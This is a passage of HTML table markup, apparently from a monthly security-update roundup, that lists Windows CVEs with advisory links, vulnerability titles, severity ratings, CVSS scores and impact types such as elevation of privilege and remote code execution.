  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50371"><span>CVE-2026-50371</span></a></td>
  <td width="256" class="xl74">Windows LUA File
  Virtualization Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58544"><span>CVE-2026-58544</span></a></td>
  <td width="256" class="xl74">Windows Management
  Services Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50404"><span>CVE-2026-50404</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50358"><span>CVE-2026-50358</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50336"><span>CVE-2026-50336</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50398"><span>CVE-2026-50398</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50414"><span>CVE-2026-50414</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50379"><span>CVE-2026-50379</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50433"><span>CVE-2026-50433</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50676"><span>CVE-2026-50676</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50677"><span>CVE-2026-50677</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34349"><span>CVE-2026-34349</span></a></td>
  <td width="256" class="xl74">Windows Media
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50394"><span>CVE-2026-50394</span></a></td>
  <td width="256" class="xl74">Windows Media
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50415"><span>CVE-2026-50415</span></a></td>
  <td width="256" class="xl74">Windows Media
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57083"><span>CVE-2026-57083</span></a></td>
  <td width="256" class="xl74">Windows Media Photo
  Codec Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54115"><span>CVE-2026-54115</span></a></td>
  <td width="256" class="xl74">Windows Message
  Queuing (MSMQ) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50447"><span>CVE-2026-50447</span></a></td>
  <td width="256" class="xl74">Windows Message
  Queuing Service (MSMQ) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50505"><span>CVE-2026-50505</span></a></td>
  <td width="256" class="xl74">Windows Message
  Queuing Service (MSMQ) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50342"><span>CVE-2026-50342</span></a></td>
  <td width="256" class="xl74">Windows MIDI Service
  Module Elevation of Privileges Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56183"><span>CVE-2026-56183</span></a></td>
  <td width="256" class="xl74">Windows MIDI Service
  Module Elevation of Privileges Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56187"><span>CVE-2026-56187</span></a></td>
  <td width="256" class="xl74">Windows MIDI Service
  Module Elevation of Privileges Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58635"><span>CVE-2026-58635</span></a></td>
  <td width="256" class="xl74">Windows Narrator
  Braille Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50500"><span>CVE-2026-50500</span></a></td>
  <td width="256" class="xl74">Windows Netlogon
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50476"><span>CVE-2026-50476</span></a></td>
  <td width="256" class="xl74">Windows Network
  Connections Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50450"><span>CVE-2026-50450</span></a></td>
  <td width="256" class="xl74">Windows Network
  Connections Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56650"><span>CVE-2026-56650</span></a></td>
  <td width="256" class="xl74">Windows Network File
  System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56649"><span>CVE-2026-56649</span></a></td>
  <td width="256" class="xl74">Windows Network File
  System Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50470"><span>CVE-2026-50470</span></a></td>
  <td width="256" class="xl74">Windows Network Policy
  Server SNMP Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50496"><span>CVE-2026-50496</span></a></td>
  <td width="256" class="xl74">Windows Network Policy
  Server SNMP Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56194"><span>CVE-2026-56194</span></a></td>
  <td width="256" class="xl74">Windows NFS Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56648"><span>CVE-2026-56648</span></a></td>
  <td width="256" class="xl74">Windows NFS Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50337"><span>CVE-2026-50337</span></a></td>
  <td width="256" class="xl74">Windows Notification
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49789"><span>CVE-2026-49789</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50412"><span>CVE-2026-50412</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50422"><span>CVE-2026-50422</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50672"><span>CVE-2026-50672</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56175"><span>CVE-2026-56175</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56182"><span>CVE-2026-56182</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50341"><span>CVE-2026-50341</span></a></td>
  <td width="256" class="xl74">Windows NTFS
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58640"><span>CVE-2026-58640</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49184"><span>CVE-2026-49184</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49797"><span>CVE-2026-49797</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50308"><span>CVE-2026-50308</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50386"><span>CVE-2026-50386</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50309"><span>CVE-2026-50309</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50313"><span>CVE-2026-50313</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50388"><span>CVE-2026-50388</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50448"><span>CVE-2026-50448</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50471"><span>CVE-2026-50471</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50461"><span>CVE-2026-50461</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50417"><span>CVE-2026-50417</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50482"><span>CVE-2026-50482</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50494"><span>CVE-2026-50494</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50344"><span>CVE-2026-50344</span></a></td>
  <td width="256" class="xl74">Windows OLE Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50686"><span>CVE-2026-50686</span></a></td>
  <td width="256" class="xl74">Windows OLE Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50335"><span>CVE-2026-50335</span></a></td>
  <td width="256" class="xl74">Windows Operating
  Systems Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50317"><span>CVE-2026-50317</span></a></td>
  <td width="256" class="xl74">Windows Operating
  Systems Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54987"><span>CVE-2026-54987</span></a></td>
  <td width="256" class="xl74">Windows Overlay Filter
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50435"><span>CVE-2026-50435</span></a></td>
  <td width="256" class="xl74">Windows Overlay Filter
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50409"><span>CVE-2026-50409</span></a></td>
  <td width="256" class="xl74">Windows Overlay Filter
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40400"><span>CVE-2026-40400</span></a></td>
  <td width="256" class="xl74">Windows PowerShell
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49166"><span>CVE-2026-49166</span></a></td>
  <td width="256" class="xl74">Windows Print
  Configuration Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55004"><span>CVE-2026-55004</span></a></td>
  <td width="256" class="xl74">Windows Print
  Configuration Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50499"><span>CVE-2026-50499</span></a></td>
  <td width="256" class="xl74">Windows Print Spooler
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50383"><span>CVE-2026-50383</span></a></td>
  <td width="256" class="xl74">Windows Print Spooler
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57085"><span>CVE-2026-57085</span></a></td>
  <td width="256" class="xl74">Windows Print Spooler
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50469"><span>CVE-2026-50469</span></a></td>
  <td width="256" class="xl74">Windows Projected File
  System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50434"><span>CVE-2026-50434</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50339"><span>CVE-2026-50339</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50430"><span>CVE-2026-50430</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50334"><span>CVE-2026-50334</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44800"><span>CVE-2026-44800</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50363"><span>CVE-2026-50363</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50431"><span>CVE-2026-50431</span></a></td>
  <td width="256" class="xl74">Windows Quality of
  Service (QoS) Packet Scheduler Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
